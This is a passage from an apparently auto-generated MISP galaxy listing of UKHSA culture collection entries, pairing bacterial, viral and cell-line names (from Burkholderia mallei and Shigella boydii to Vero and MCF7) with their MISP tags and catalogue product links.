https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-10
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-8
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-7
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-6
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-4
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-3
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-2

Bacillus subtilis subsp. spizizenii

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus subtilis subsp. spizizenii"*

Table 25593. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-subtilis-subsp-spizizenii

Citrobacter braakii

The tag is: *misp-galaxy:ukhsa-culture-collections="Citrobacter braakii"*

Table 25594. Table References

Links
https://www.culturecollections.org.uk/nop/product/citrobacter-braakii-4
https://www.culturecollections.org.uk/nop/product/citrobacter-braakii
https://www.culturecollections.org.uk/nop/product/citrobacter-braakii-3
https://www.culturecollections.org.uk/nop/product/citrobacter-braakii-2

AWELLS

The tag is: *misp-galaxy:ukhsa-culture-collections="AWELLS"*

Table 25595. Table References

Links
https://www.culturecollections.org.uk/nop/product/awells-2

213 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="213 BLCL"*

Table 25596. Table References

Links
https://www.culturecollections.org.uk/nop/product/213-blcl

1.2B4

The tag is: *misp-galaxy:ukhsa-culture-collections="1.2B4"*

Table 25597. Table References

Links
https://www.culturecollections.org.uk/nop/product/12b4

1.4E7

The tag is: *misp-galaxy:ukhsa-culture-collections="1.4E7"*

Table 25598. Table References

Links
https://www.culturecollections.org.uk/nop/product/14e7

1.1E7

The tag is: *misp-galaxy:ukhsa-culture-collections="1.1E7"*

Table 25599. Table References

Links
https://www.culturecollections.org.uk/nop/product/11e7

OLGA

The tag is: *misp-galaxy:ukhsa-culture-collections="OLGA"*

Table 25600. Table References

Links
https://www.culturecollections.org.uk/nop/product/olga-2

Campylobacter lari

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter lari"*

Table 25601. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-lari-5
https://www.culturecollections.org.uk/nop/product/campylobacter-lari
https://www.culturecollections.org.uk/nop/product/campylobacter-lari-6
https://www.culturecollections.org.uk/nop/product/campylobacter-lari-7
https://www.culturecollections.org.uk/nop/product/campylobacter-lari-8
https://www.culturecollections.org.uk/nop/product/campylobacter-lari-10
https://www.culturecollections.org.uk/nop/product/campylobacter-lari-2
https://www.culturecollections.org.uk/nop/product/campylobacter-lari-12
https://www.culturecollections.org.uk/nop/product/campylobacter-lari-13
https://www.culturecollections.org.uk/nop/product/campylobacter-lari-3
https://www.culturecollections.org.uk/nop/product/campylobacter-lari-9
https://www.culturecollections.org.uk/nop/product/campylobacter-lari-11
https://www.culturecollections.org.uk/nop/product/campylobacter-lari-4

DH82

The tag is: *misp-galaxy:ukhsa-culture-collections="DH82"*

Table 25602. Table References

Links
https://www.culturecollections.org.uk/nop/product/dh82

293T

The tag is: *misp-galaxy:ukhsa-culture-collections="293T"*

Table 25603. Table References

Links
https://www.culturecollections.org.uk/nop/product/293t-2

CYNOM-K1

The tag is: *misp-galaxy:ukhsa-culture-collections="CYNOM-K1"*

Table 25604. Table References

Links
https://www.culturecollections.org.uk/nop/product/cynom-k1

Brucella anthropi

The tag is: *misp-galaxy:ukhsa-culture-collections="Brucella anthropi"*

Table 25605. Table References

Links
https://www.culturecollections.org.uk/nop/product/brucella-anthropi-4
https://www.culturecollections.org.uk/nop/product/brucella-anthropi-3
https://www.culturecollections.org.uk/nop/product/brucella-anthropi-2
https://www.culturecollections.org.uk/nop/product/brucella-anthropi

Brucella intermedia

The tag is: *misp-galaxy:ukhsa-culture-collections="Brucella intermedia"*

Table 25606. Table References

Links
https://www.culturecollections.org.uk/nop/product/brucella-intermedia

Pseudomonas paraeruginosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas paraeruginosa"*

Table 25607. Table References

Links

https://www.culturecollections.org.uk/nop/product/pseudomonas-paraeruginosa-2
https://www.culturecollections.org.uk/nop/product/pseudomonas-paraeruginosa

Aeromonas allosaccharophila

The tag is: *misp-galaxy:ukhsa-culture-collections="Aeromonas allosaccharophila"*

Table 25608. Table References

Links
https://www.culturecollections.org.uk/nop/product/aeromonas-allosaccharophila

Rhodococcus hoagii

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhodococcus hoagii"*

Table 25609. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhodococcus-hoagii-2
https://www.culturecollections.org.uk/nop/product/rhodococcus-hoagii

Burkholderia mallei

The tag is: *misp-galaxy:ukhsa-culture-collections="Burkholderia mallei"*

Table 25610. Table References

Links
https://www.culturecollections.org.uk/nop/product/burkholderia-mallei-5
https://www.culturecollections.org.uk/nop/product/burkholderia-mallei-4
https://www.culturecollections.org.uk/nop/product/burkholderia-mallei-3
https://www.culturecollections.org.uk/nop/product/burkholderia-mallei-10
https://www.culturecollections.org.uk/nop/product/burkholderia-mallei-9
https://www.culturecollections.org.uk/nop/product/burkholderia-mallei-8
https://www.culturecollections.org.uk/nop/product/burkholderia-mallei-7
https://www.culturecollections.org.uk/nop/product/burkholderia-mallei-6
https://www.culturecollections.org.uk/nop/product/burkholderia-mallei-2
https://www.culturecollections.org.uk/nop/product/burkholderia-mallei

Acinetobacter baumannii

The tag is: *misp-galaxy:ukhsa-culture-collections="Acinetobacter baumannii"*

Table 25611. Table References

Links
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-29
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-4
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-11
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-10
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-9
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-8
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-7
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-6
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-3
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-27
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-28
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-21
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-20
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-5
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-2
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-22
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-18
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-14
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-23
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-13
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-26
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-19
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-15
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-16
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-17
https://www.culturecollections.org.uk/nop/product/acinetobacter-baumannii-12

Salmonella enterica subsp. enterica Serotype Hvittingfoss

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica Serotype Hvittingfoss"*

Table 25612. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-hvittingfoss-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-hvittingfoss

Salmonella enterica subsp. enterica Serotype Aberdeen

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica Serotype Aberdeen"*

Table 25613. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-aberdeen-2

Neisseria montereyensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria montereyensis"*

Table 25614. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-montereyensis

Mycobacterium bovis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium bovis"*

Table 25615. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-bovis-7
https://www.culturecollections.org.uk/nop/product/mycobacterium-bovis
https://www.culturecollections.org.uk/nop/product/mycobacterium-bovis-8

https://www.culturecollections.org.uk/nop/product/mycobacterium-bovis-6
https://www.culturecollections.org.uk/nop/product/mycobacterium-bovis-4
https://www.culturecollections.org.uk/nop/product/mycobacterium-bovis-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-bovis-2

Clostridium septicum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium septicum"*

Table 25616. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-septicum-6
https://www.culturecollections.org.uk/nop/product/clostridium-septicum-8
https://www.culturecollections.org.uk/nop/product/clostridium-septicum-10
https://www.culturecollections.org.uk/nop/product/clostridium-septicum-11
https://www.culturecollections.org.uk/nop/product/clostridium-septicum-3
https://www.culturecollections.org.uk/nop/product/clostridium-septicum-4
https://www.culturecollections.org.uk/nop/product/clostridium-septicum-7
https://www.culturecollections.org.uk/nop/product/clostridium-septicum
https://www.culturecollections.org.uk/nop/product/clostridium-septicum-2
https://www.culturecollections.org.uk/nop/product/clostridium-septicum-5
https://www.culturecollections.org.uk/nop/product/clostridium-septicum-9

Mycobacterium marinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium marinum"*

Table 25617. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-marinum
https://www.culturecollections.org.uk/nop/product/mycobacterium-marinum-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-marinum-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-marinum-4
https://www.culturecollections.org.uk/nop/product/mycobacterium-marinum-5
https://www.culturecollections.org.uk/nop/product/mycobacterium-marinum-6

Salmonella enterica subsp. enterica serotype Typhi

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Typhi"*

Table 25618. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-14
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-17
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-12
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-10
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-8
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-5
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-19
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-18
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-16
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-15
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-13
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-11
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-9
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-7

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-6
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhi-2

Salmonella enterica subsp. enterica serotype Choleraesuis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Choleraesuis"*

Table 25619. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-choleraesuis
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-choleraesuis-7
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-choleraesuis-6
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-choleraesuis-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-choleraesuis-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-choleraesuis-5
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-choleraesuis-4

3T3 L1

The tag is: *misp-galaxy:ukhsa-culture-collections="3T3 L1"*

Table 25620. Table References

Links
https://www.culturecollections.org.uk/nop/product/3t3-l1

MM170

The tag is: *misp-galaxy:ukhsa-culture-collections="MM170"*

Table 25621. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm170-2

SK-N-F1

The tag is: *misp-galaxy:ukhsa-culture-collections="SK-N-F1"*

Table 25622. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-n-f1

Mpox virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Mpox virus"*

Table 25623. Table References

Links
https://www.culturecollections.org.uk/nop/product/mpox-virus-2
https://www.culturecollections.org.uk/nop/product/mpox-virus

SMI TP NCTC set (17 strains)

The tag is: *misp-galaxy:ukhsa-culture-collections="SMI TP NCTC set (17 strains)"*

Table 25624. Table References

Links
https://www.culturecollections.org.uk/nop/product/smi-tp-nctc-set-17-strains

Salmonella enterica subsp. enterica serotype Bispebjerg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Bispebjerg"*

Table 25625. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bispebjerg

Salmonella enterica subsp. enterica serotype Heidelberg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Heidelberg"*

Table 25626. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-heidelberg-7
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-heidelberg-6
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-heidelberg-5
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-heidelberg-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-heidelberg-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-heidelberg-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-heidelberg

Salmonella enterica subsp. enterica serotype Bareilly

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Bareilly"*

Table 25627. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bareilly

Salmonella enterica subsp. enterica serotype Virchow

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Virchow"*

Table 25628. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-virchow-2

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-virchow

Legionella drozanskii

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella drozanskii"*

Table 25629. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-drozanskii-2

PEO1

The tag is: *misp-galaxy:ukhsa-culture-collections="PEO1"*

Table 25630. Table References

Links
https://www.culturecollections.org.uk/nop/product/peo1

WI 38

The tag is: *misp-galaxy:ukhsa-culture-collections="WI 38"*

Table 25631. Table References

Links
https://www.culturecollections.org.uk/nop/product/wi-38

Streptococcus gallolyticus subsp. gallolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus gallolyticus subsp. gallolyticus"*

Table 25632. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcusgallolyticus-subsp-gallolyticus

Staphylococcus pseudintermedius

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus pseudintermedius"*

Table 25633. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcuspseudintermedius

Streptococcus canis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus canis"*

Table 25634. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-canis-3
https://www.culturecollections.org.uk/nop/product/streptococcus-canis
https://www.culturecollections.org.uk/nop/product/streptococcus-canis-2

Klebsiella pneumoniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella pneumoniae"*

Table 25635. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiellapneumoniae

Pichia kudriavzevii

The tag is: *misp-galaxy:ukhsa-culture-collections="Pichia kudriavzevii"*

Table 25636. Table References

Links
https://www.culturecollections.org.uk/nop/product/pichia-kudriavzevii

AM0249

The tag is: *misp-galaxy:ukhsa-culture-collections="AM0249"*

Table 25637. Table References

Links
https://www.culturecollections.org.uk/nop/product/am0249

Salmonella enterica subsp. enterica serotype Gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Gallinarum"*

Table 25638. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-gallinarum-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-gallinarum-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-gallinarum-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-gallinarum

Salmonella enterica subsp. enterica serotype Typhisuis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Typhisuis"*

Table 25639. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhisuis-5
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhisuis-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhisuis-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhisuis-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-typhisuis

Streptococcus sciuri

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus sciuri"*

Table 25640. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-sciuri

Staphylococcus marylandisciuri

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus marylandisciuri"*

Table 25641. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-marylandisciuri

Dolosigranulum pigrum

The tag is: *misp-galaxy:ukhsa-culture-collections="Dolosigranulum pigrum"*

Table 25642. Table References

Links
https://www.culturecollections.org.uk/nop/product/dolosigranulum-pigrum

Legionella maioricensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella maioricensis"*

Table 25643. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-maioricensis

Actinomadura graeca

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomadura graeca"*

Table 25644. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomadura-graeca

Shigella boydii

The tag is: *misp-galaxy:ukhsa-culture-collections="Shigella boydii"*

Table 25645. Table References

Links
https://www.culturecollections.org.uk/nop/product/shigella-boydii
https://www.culturecollections.org.uk/nop/product/shigella-boydii-40
https://www.culturecollections.org.uk/nop/product/shigella-boydii-38
https://www.culturecollections.org.uk/nop/product/shigella-boydii-21
https://www.culturecollections.org.uk/nop/product/shigella-boydii-22
https://www.culturecollections.org.uk/nop/product/shigella-boydii-24
https://www.culturecollections.org.uk/nop/product/shigella-boydii-25

https://www.culturecollections.org.uk/nop/product/shigella-boydii-27
https://www.culturecollections.org.uk/nop/product/shigella-boydii-28
https://www.culturecollections.org.uk/nop/product/shigella-boydii-29
https://www.culturecollections.org.uk/nop/product/shigella-boydii-30
https://www.culturecollections.org.uk/nop/product/shigella-boydii-31
https://www.culturecollections.org.uk/nop/product/shigella-boydii-32
https://www.culturecollections.org.uk/nop/product/shigella-boydii-34
https://www.culturecollections.org.uk/nop/product/shigella-boydii-35
https://www.culturecollections.org.uk/nop/product/shigella-boydii-36
https://www.culturecollections.org.uk/nop/product/shigella-boydii-37
https://www.culturecollections.org.uk/nop/product/shigella-boydii-39
https://www.culturecollections.org.uk/nop/product/shigella-boydii-19
https://www.culturecollections.org.uk/nop/product/shigella-boydii-41
https://www.culturecollections.org.uk/nop/product/shigella-boydii-3
https://www.culturecollections.org.uk/nop/product/shigella-boydii-7
https://www.culturecollections.org.uk/nop/product/shigella-boydii-8
https://www.culturecollections.org.uk/nop/product/shigella-boydii-12
https://www.culturecollections.org.uk/nop/product/shigella-boydii-16
https://www.culturecollections.org.uk/nop/product/shigella-boydii-14
https://www.culturecollections.org.uk/nop/product/shigella-boydii-17
https://www.culturecollections.org.uk/nop/product/shigella-boydii-9
https://www.culturecollections.org.uk/nop/product/shigella-boydii-10
https://www.culturecollections.org.uk/nop/product/shigella-boydii-13
https://www.culturecollections.org.uk/nop/product/shigella-boydii-20
https://www.culturecollections.org.uk/nop/product/shigella-boydii-4
https://www.culturecollections.org.uk/nop/product/shigella-boydii-11
https://www.culturecollections.org.uk/nop/product/shigella-boydii-15
https://www.culturecollections.org.uk/nop/product/shigella-boydii-33
https://www.culturecollections.org.uk/nop/product/shigella-boydii-2
https://www.culturecollections.org.uk/nop/product/shigella-boydii-5
https://www.culturecollections.org.uk/nop/product/shigella-boydii-6
https://www.culturecollections.org.uk/nop/product/shigella-boydii-18
https://www.culturecollections.org.uk/nop/product/shigella-boydii-23
https://www.culturecollections.org.uk/nop/product/shigella-boydii-26

MM603

The tag is: *misp-galaxy:ukhsa-culture-collections="MM603"*

Table 25646. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm603

Leclercia adecarboxylata

The tag is: *misp-galaxy:ukhsa-culture-collections="Leclercia adecarboxylata"*

Table 25647. Table References

Links
https://www.culturecollections.org.uk/nop/product/leclercia-adecarboxylata-5
https://www.culturecollections.org.uk/nop/product/leclercia-adecarboxylata-4
https://www.culturecollections.org.uk/nop/product/leclercia-adecarboxylata-3
https://www.culturecollections.org.uk/nop/product/leclercia-adecarboxylata-2
https://www.culturecollections.org.uk/nop/product/leclercia-adecarboxylata

SARS coronavirus 2

The tag is: *misp-galaxy:ukhsa-culture-collections="SARS coronavirus 2"*

Table 25648. Table References

Links
https://www.culturecollections.org.uk/nop/product/sars-coronavirus-2-10
https://www.culturecollections.org.uk/nop/product/sars-coronavirus-2-7
https://www.culturecollections.org.uk/nop/product/sars-coronavirus-2-2
https://www.culturecollections.org.uk/nop/product/sars-coronavirus-2-9
https://www.culturecollections.org.uk/nop/product/sars-coronavirus-2-8
https://www.culturecollections.org.uk/nop/product/sars-coronavirus-2-4
https://www.culturecollections.org.uk/nop/product/sars-coronavirus-2-5
https://www.culturecollections.org.uk/nop/product/sars-coronavirus-2-6
https://www.culturecollections.org.uk/nop/product/sars-coronavirus-2-3

Vero

The tag is: *misp-galaxy:ukhsa-culture-collections="Vero"*

Table 25649. Table References

Links
https://www.culturecollections.org.uk/nop/product/vero

A2780

The tag is: *misp-galaxy:ukhsa-culture-collections="A2780"*

Table 25650. Table References

Links
https://www.culturecollections.org.uk/nop/product/a2780

A549

The tag is: *misp-galaxy:ukhsa-culture-collections="A549"*

Table 25651. Table References

Links
https://www.culturecollections.org.uk/nop/product/a549

BOB

The tag is: *misp-galaxy:ukhsa-culture-collections="BOB"*

Table 25652. Table References

Links
https://www.culturecollections.org.uk/nop/product/bob

SerBob

The tag is: *misp-galaxy:ukhsa-culture-collections="SerBob"*

Table 25653. Table References

Links
https://www.culturecollections.org.uk/nop/product/serbob

B95-8

The tag is: *misp-galaxy:ukhsa-culture-collections="B95-8"*

Table 25654. Table References

Links

https://www.culturecollections.org.uk/nop/product/b95-8

COV434

The tag is: *misp-galaxy:ukhsa-culture-collections="COV434"*

Table 25655. Table References

Links
https://www.culturecollections.org.uk/nop/product/cov434

Hep G2

The tag is: *misp-galaxy:ukhsa-culture-collections="Hep G2"*

Table 25656. Table References

Links
https://www.culturecollections.org.uk/nop/product/hep-g2

CHO-K1

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1"*

Table 25657. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1

HL60

The tag is: *misp-galaxy:ukhsa-culture-collections="HL60"*

Table 25658. Table References

Links
https://www.culturecollections.org.uk/nop/product/hl60

MDA-MB-231

The tag is: *misp-galaxy:ukhsa-culture-collections="MDA-MB-231"*

Table 25659. Table References

Links
https://www.culturecollections.org.uk/nop/product/mda-mb-231

MDCK

The tag is: *misp-galaxy:ukhsa-culture-collections="MDCK"*

Table 25660. Table References

Links
https://www.culturecollections.org.uk/nop/product/mdck-2
https://www.culturecollections.org.uk/nop/product/mdck

KARPAS-422

The tag is: *misp-galaxy:ukhsa-culture-collections="KARPAS-422"*

Table 25661. Table References

Links
https://www.culturecollections.org.uk/nop/product/karpas-422

Nb2-11

The tag is: *misp-galaxy:ukhsa-culture-collections="Nb2-11"*

Table 25662. Table References

Links
https://www.culturecollections.org.uk/nop/product/nb2-11

MCF7

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7"*

Table 25663. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7

PNT2

The tag is: *misp-galaxy:ukhsa-culture-collections="PNT2"*

Table 25664. Table References

Links
https://www.culturecollections.org.uk/nop/product/pnt2

PANC-1

The tag is: *misp-galaxy:ukhsa-culture-collections="PANC-1"*

Table 25665. Table References

Links
https://www.culturecollections.org.uk/nop/product/panc-1

SH-SY5Y

The tag is: *misp-galaxy:ukhsa-culture-collections="SH-SY5Y"*

Table 25666. Table References

Links
https://www.culturecollections.org.uk/nop/product/sh-sy5y

OE19

The tag is: *misp-galaxy:ukhsa-culture-collections="OE19"*

Table 25667. Table References

Links
https://www.culturecollections.org.uk/nop/product/oe19

U-2 OS

The tag is: *misp-galaxy:ukhsa-culture-collections="U-2 OS"*

Table 25668. Table References

Links
https://www.culturecollections.org.uk/nop/product/u-2-os

MEF ULK1/2 WT(SV40)

The tag is: *misp-galaxy:ukhsa-culture-collections="MEF ULK1/2 WT(SV40)"*

Table 25669. Table References

Links
https://www.culturecollections.org.uk/nop/product/mef-ulk12-wtsv40

VCaP

The tag is: *misp-galaxy:ukhsa-culture-collections="VCaP"*

Table 25670. Table References

Links
https://www.culturecollections.org.uk/nop/product/vcap

CHO (PROTEIN FREE)

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO (PROTEIN FREE)"*

Table 25671. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-protein-free

Salmonella enterica subsp. enterica serotype Dublin

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Dublin"*

Table 25672. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-dublin-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-dublin-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-dublin

Influenza A

The tag is: *misp-galaxy:ukhsa-culture-collections="Influenza A"*

Table 25673. Table References

Links
https://www.culturecollections.org.uk/nop/product/influenza-a-6

Zika virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Zika virus"*

Table 25674. Table References

Links
https://www.culturecollections.org.uk/nop/product/zika-virus
https://www.culturecollections.org.uk/nop/product/zika-virus-3
https://www.culturecollections.org.uk/nop/product/zika-virus-4

Mumps virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Mumps virus"*

Table 25675. Table References

Links
https://www.culturecollections.org.uk/nop/product/mumps-virus-10
https://www.culturecollections.org.uk/nop/product/mumps-virus
https://www.culturecollections.org.uk/nop/product/mumps-virus-2
https://www.culturecollections.org.uk/nop/product/mumps-virus-3
https://www.culturecollections.org.uk/nop/product/mumps-virus-4
https://www.culturecollections.org.uk/nop/product/mumps-virus-5
https://www.culturecollections.org.uk/nop/product/mumps-virus-6
https://www.culturecollections.org.uk/nop/product/mumps-virus-7
https://www.culturecollections.org.uk/nop/product/mumps-virus-8
https://www.culturecollections.org.uk/nop/product/mumps-virus-9
https://www.culturecollections.org.uk/nop/product/mumps-virus-11
https://www.culturecollections.org.uk/nop/product/mumps-virus-12
https://www.culturecollections.org.uk/nop/product/mumps-virus-13
https://www.culturecollections.org.uk/nop/product/mumps-virus-14
https://www.culturecollections.org.uk/nop/product/mumps-virus-16
https://www.culturecollections.org.uk/nop/product/mumps-virus-17
https://www.culturecollections.org.uk/nop/product/mumps-virus-18
https://www.culturecollections.org.uk/nop/product/mumps-virus-19

Human parainfluenza virus type 3

The tag is: *misp-galaxy:ukhsa-culture-collections="Human parainfluenza virus type 3"*

Table 25676. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-parainfluenza-virus-type-3

Mammalian orthoreovirus type 3

The tag is: *misp-galaxy:ukhsa-culture-collections="Mammalian orthoreovirus type 3"*

Table 25677. Table References

Links
https://www.culturecollections.org.uk/nop/product/mammalian-orthoreovirus-type-3

Respiratory syncytial virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Respiratory syncytial virus"*

Table 25678. Table References

Links
https://www.culturecollections.org.uk/nop/product/respiratory-syncytial-virus-19
